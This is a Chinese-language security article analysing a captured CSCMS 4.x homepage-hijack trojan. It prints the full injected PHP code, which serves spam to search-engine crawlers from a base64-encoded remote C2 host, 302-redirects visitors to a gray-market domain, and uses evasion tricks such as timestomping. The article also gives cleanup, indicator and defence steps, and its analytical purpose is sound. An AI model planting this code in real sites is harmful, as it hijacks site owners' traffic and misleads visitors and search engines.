老旧 CMS 首页双重劫持木马深度技术解析:蜘蛛 SEO 污染 + 访客流量跳转 + 远程隐匿对抗
引言
在老旧 CMS(如 CSCMS、DedeCMS、帝国 CMS 等)泛滥的灰色攻击链中,首页前置注入型双重劫持木马已成为黑产流量变现的主流武器。这类木马不破坏页面视觉、不产生明显异常,仅通过 User-Agent、访问路径、来源判断实现精准分流:对搜索引擎蜘蛛输出黑帽 SEO 垃圾页,对真实访客触发 302 跳转,同时依托远程 C2 加载与时间戳隐匿实现长期免杀。本文结合真实捕获的CSCMS 4.x 劫持样本,完整拆解其技术原理、执行逻辑、隐匿对抗手段,并给出可落地的查杀与防御方案。
一、攻击样本全貌:前置注入,优先级覆盖全站
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovL2R3MS5pbWFnZTEub25saW5lLw=='));
define('MULU','timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key){
return stristr($key, 'Baiduspider') !== false
|| stristr($key, '360Spider') !== false
|| stristr($key, 'YisouSpider') !== false
|| stristr($key, 'Bytespider') !== false
|| stristr($key, 'Googlebot') !== false
|| stristr($key, 'Bingbot') !== false
|| (stristr($key, 'Sogou') !== false && stristr($key, 'spider') !== false);
}
function isMobile(){
$ua = $_SERVER["HTTP_USER_AGENT"];
return preg_match('/(Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Windows Phone|SymbianOS)/i', $ua);
}
function isIncludes(){
$re = 0;
$temp = explode('|', MULU);
foreach($temp as $v){
if(stristr(URI, $v) !== false){
$re = 1;
break;
}
}
return $re;
}
function getContents($url){
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
curl_close($ch);
if($result == NULL){
return file_get_contents($url);
}
return $result;
} else {
return file_get_contents($url);
}
}
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if(isIncludes()){
echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Baiduspider'.'&f=bd');
exit;
}else{
echo file_get_contents(host."lunlian/dt.php");
}
exit;
}
if (isIncludes()) {
header("Location: https://zhibonba14.fast-bit6372.com:15241/?cid=jhgb&ref=" . urlencode($ym));
exit;
}
?><?php
/**
* @Cscms 4.x open source management system
* @copyright 2009-2015 chshcms.com. All rights reserved.
* @Author:Cheng Jie
* @Dtime:2014-08-01
*/
//Ĭʱ
date_default_timezone_set("Asia/Shanghai");
//ǰURI
define('REQUEST_URI', $_SERVER['REQUEST_URI']);
//Ӧû
define('ERROR_MSG', 'production');
if (defined('ERROR_MSG')){
switch (ERROR_MSG){
case 'development':error_reporting(E_ALL);break;
case 'production':error_reporting(0);break;
}
}
//ļ
if (!defined('SELF')) {
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
}
// վĿ¼
if (!defined('FCPATH')) {
define('FCPATH', str_replace("\\", "/", str_replace(SELF, '', __FILE__)));
}
// õǰĿ¼ȷCLI
if (defined('STDIN')){
chdir(dirname(__FILE__));
}
define('CSCMS', FCPATH . 'cscms/'); //ϵͳĿ¼
define('ENVIRONMENT', CSCMS . 'config/'); // ļĿ¼
//ĬϿĿ¼
$app_folder = 'cscms/app';
//CSCMSļ
require_once CSCMS.'lib/Cs_Cscms.php';
define('EXT', '.php'); //PHPļչ
define('BASEPATH', FCPATH.'cscms/system/'); //CIĿ¼
define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/')); //ϵͳļе
define('APPPATH', FCPATH.$app_folder.'/'); //Ŀ¼
define('CSCMSPATH', FCPATH.'packs/'); //CSCMSչĿ¼
require_once BASEPATH.'core/CodeIgniter.php'; //CIļ
本次分析样本为被入侵的CSCMS 4.x 入口文件 index.php,攻击者在原生框架代码头部整段植入恶意 PHP 逻辑,所有访问请求优先执行劫持代码,正常业务逻辑仅在未触发劫持时才运行。这种注入方式隐蔽性极强,仅修改单文件即可控制全站流量,配合时间戳篡改后,运维几乎无法通过 “近期修改文件” 发现异常。
核心配置与常量定义(恶意代码开头)
set_time_limit(0); // 取消脚本超时,保证远程加载不中断
error_reporting(0); // 屏蔽所有PHP报错,消除日志痕迹
define('URI', $_SERVER['REQUEST_URI']); // 存储当前访问路径
define('host', base64_decode('aHR0cDovL2R3MS5pbWFnZTEub25saW5lLw==')); // C2主控域名
define('MULU','timi|app|ios|android|download|page|games|...|index.php|.html'); // 劫持触发路径列表
- C2 域名解密:
http://dw1.image1.online/,所有恶意内容均从此远程服务器拉取,本地无静态恶意特征; - 劫持路径白名单:覆盖视频、下载、资讯、首页等高频流量页面,精准劫持核心流量。
二、四大核心恶意函数:劫持逻辑的底层支撑
1. isEngines ():搜索引擎蜘蛛精准识别
function isEngines($key){
return stristr($key, 'Baiduspider') !== false
|| stristr($key, '360Spider') !== false
|| stristr($key, 'Bytespider') !== false
|| stristr($key, 'Googlebot') !== false;
}
作用:匹配百度、360、字节、谷歌、必应、搜狗等主流爬虫 UA,实现蜘蛛 / 访客分层响应—— 蜘蛛看垃圾页,访客看正常页或被跳转,彻底规避站长自查。
2. isMobile ():移动端设备分流(预留扩展)
function isMobile(){
return preg_match('/(Mobile|Android|iPhone|iPad)/i', $_SERVER["HTTP_USER_AGENT"]);
}
作用:识别手机 / 平板设备,变种木马可基于此实现移动端强制跳转、PC 端静默放行,进一步降低被发现概率。
3. isIncludes ():劫持路径触发开关
function isIncludes(){
$temp = explode('|', MULU);
foreach($temp as $v){
if(stristr(URI, $v) !== false) return 1;
}
return 0;
}
作用:判断当前 URL 是否命中
MULU定义的路径列表,命中即触发劫持,未命中则返回正常页面,实现 “部分页面劫持、部分页面正常” 的精准控制。4. getContents ():无痕远程载荷加载
function getContents($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 关闭SSL校验,兼容恶意域名
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
curl_close($ch);
return $result ?: file_get_contents($url);
}
作用:优先用 curl 请求 C2 服务器,失败则降级为
file_get_contents,全程远程加载恶意内容,本地无垃圾关键词、黑链等特征,传统杀毒与源码扫描完全失效。三、双重劫持完整执行逻辑:三层分流,无死角劫持
分支 1:搜索引擎蜘蛛访问 → SEO 快照污染
- 判定为蜘蛛(
isEngines=true); - 若 URL 命中劫持路径:远程请求 C2 服务器,输出黑帽 SEO 垃圾页(博彩 / 色情关键词、批量外链),
exit终止程序,原生页面完全不输出; - 若 URL 未命中:加载 C2 固定垃圾页
lunlian/dt.php,批量植入暗链与灰色关键词;危害:搜索引擎收录全为垃圾内容,站点快速降权、K 站,正规页面排名清零。
分支 2:真实访客 + 命中劫持路径 → 302 流量跳转
if (isIncludes()) {
header("Location: https://zhibonba14.fast-bit6372.com:15241/?cid=jhgb&ref=" . urlencode($ym));
exit;
}
作用:对访问视频、下载、首页等高频页面的真实访客,执行服务端 302 重定向,跳转至灰产直播 / 棋牌站点,携带原网站域名作为流量统计参数,黑产据此结算分成。
欺骗性:直接输入域名访问(未命中路径)显示正常页面,仅搜索点击 / 路径访问触发跳转,站长肉眼自查无异常。
分支 3:真实访客 + 未命中劫持路径 → 正常访问
恶意代码无操作,向下执行原生 CSCMS 框架逻辑,页面完全正常,形成 “合法伪装 + 恶意劫持” 的双重形态。
四、顶级隐匿对抗技术:让木马 “永久隐身”
1. 远程 C2 加载,无本地恶意特征
所有垃圾 SEO 内容、跳转地址均存储在 C2 服务器,本地仅保留判断逻辑,无敏感关键词、无硬编码恶意 URL,杀毒软件与 WAF 难以命中特征库。
2. 服务端跳转,无前端痕迹
采用
header Location实现 302 跳转,页面无 JS、无 iframe、无加密代码,查看源码看不到任何跳转痕迹,仅抓包能发现重定向,前端审计完全失效。3. 错误屏蔽与超时绕过
error_reporting(0)屏蔽 PHP 报错,服务器日志无异常记录;set_time_limit(0)保证远程加载不中断,即便 C2 响应缓慢也能完成劫持。4. 时间戳隐匿(Timestomp)配套对抗
攻击者植入木马后,批量修改
index.php的修改时间、创建时间、访问时间,匹配网站建站初期时间,绕过服务器文件变更监控、运维定期巡检,实现 “文件修改无痕”。五、入侵链路:老旧 CMS 为何成为重灾区?
- 漏洞入口:CSCMS 4.x(2015 年停止更新)存在文件上传、SQL 注入、后台弱口令等高危漏洞,攻击者可批量扫描入侵;
- 权限获取:上传图片马、一句话木马,获取服务器 Webshell 权限;
- 代码注入:篡改
index.php头部,植入双重劫持逻辑; - 隐匿处理:时间戳篡改 + 日志清理,消除入侵痕迹;
- 持久控制:C2 服务器远程更新恶意内容,无需二次入侵,实现流量长期变现。
六、应急查杀:三步彻底清除劫持木马
第一步:清理入口文件恶意代码
打开站点根目录
index.php,删除从文件开头到?><?php /** @Cscms 4.x ... */之前的所有恶意代码,仅保留原生 CSCMS 框架代码,对比官方原版 MD5 确认无残留。第二步:全局检索恶意特征
批量扫描全站文件,检索以下关键词:
- C2 域名:
dw1.image1.online - 跳转域名:
zhibonba14.fast-bit6372.com - 函数特征:
isEngines、isIncludes、getContents、Baiduspider删除所有重复注入的恶意代码,清理缓存目录、上传目录可疑脚本。
第三步:验证劫持清除效果
- 蜘蛛模拟测试:修改浏览器 UA 为
Baiduspider,访问首页、/video 等路径,源码无垃圾关键词、无远程加载; - 跳转测试:抓包访问劫持路径,无 302 重定向至灰产域名;
- 搜索引擎校验:百度资源平台提交抓取诊断,快照恢复正常。
七、长效防御:杜绝二次入侵
- 废弃老旧 CMS:CSCMS 4.x、DedeCMS 老版本等停止更新的程序,立即升级或更换安全 CMS,从根源封堵漏洞;
- 强化权限管控:重置后台、FTP、数据库密码,关闭模板在线编辑、文件上传功能,上传目录禁止 PHP 执行;
- 文件监控部署:开启inode 级 + MD5 哈希双重监控,对
index.php、模板等核心文件变更实时告警,绕过时间戳欺骗; - 网络出站限制:防火墙拦截
dw1.image1.online等恶意 C2 域名的出站请求,阻断远程载荷加载; - 定期安全巡检:每周模拟蜘蛛抓取、路径访问测试,及时发现隐匿劫持。
结语
老旧 CMS 双重劫持木马是黑产流量变现的标准化武器,其核心优势在于分层欺骗、远程隐匿、无痕对抗,让站长自查、安全工具检测、运维巡检全部失效。对于仍在使用老旧 CMS 的站点,唯一的长效解决方案是升级程序 + 严格权限 + 文件监控三位一体防御,否则即便清除木马,也会在短时间内被再次入侵,陷入 “查杀 – 入侵 – 再查杀” 的恶性循环。
安全无小事,流量即利益,守住老旧 CMS 的安全防线,就是守住站点的生存根基。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END









暂无评论内容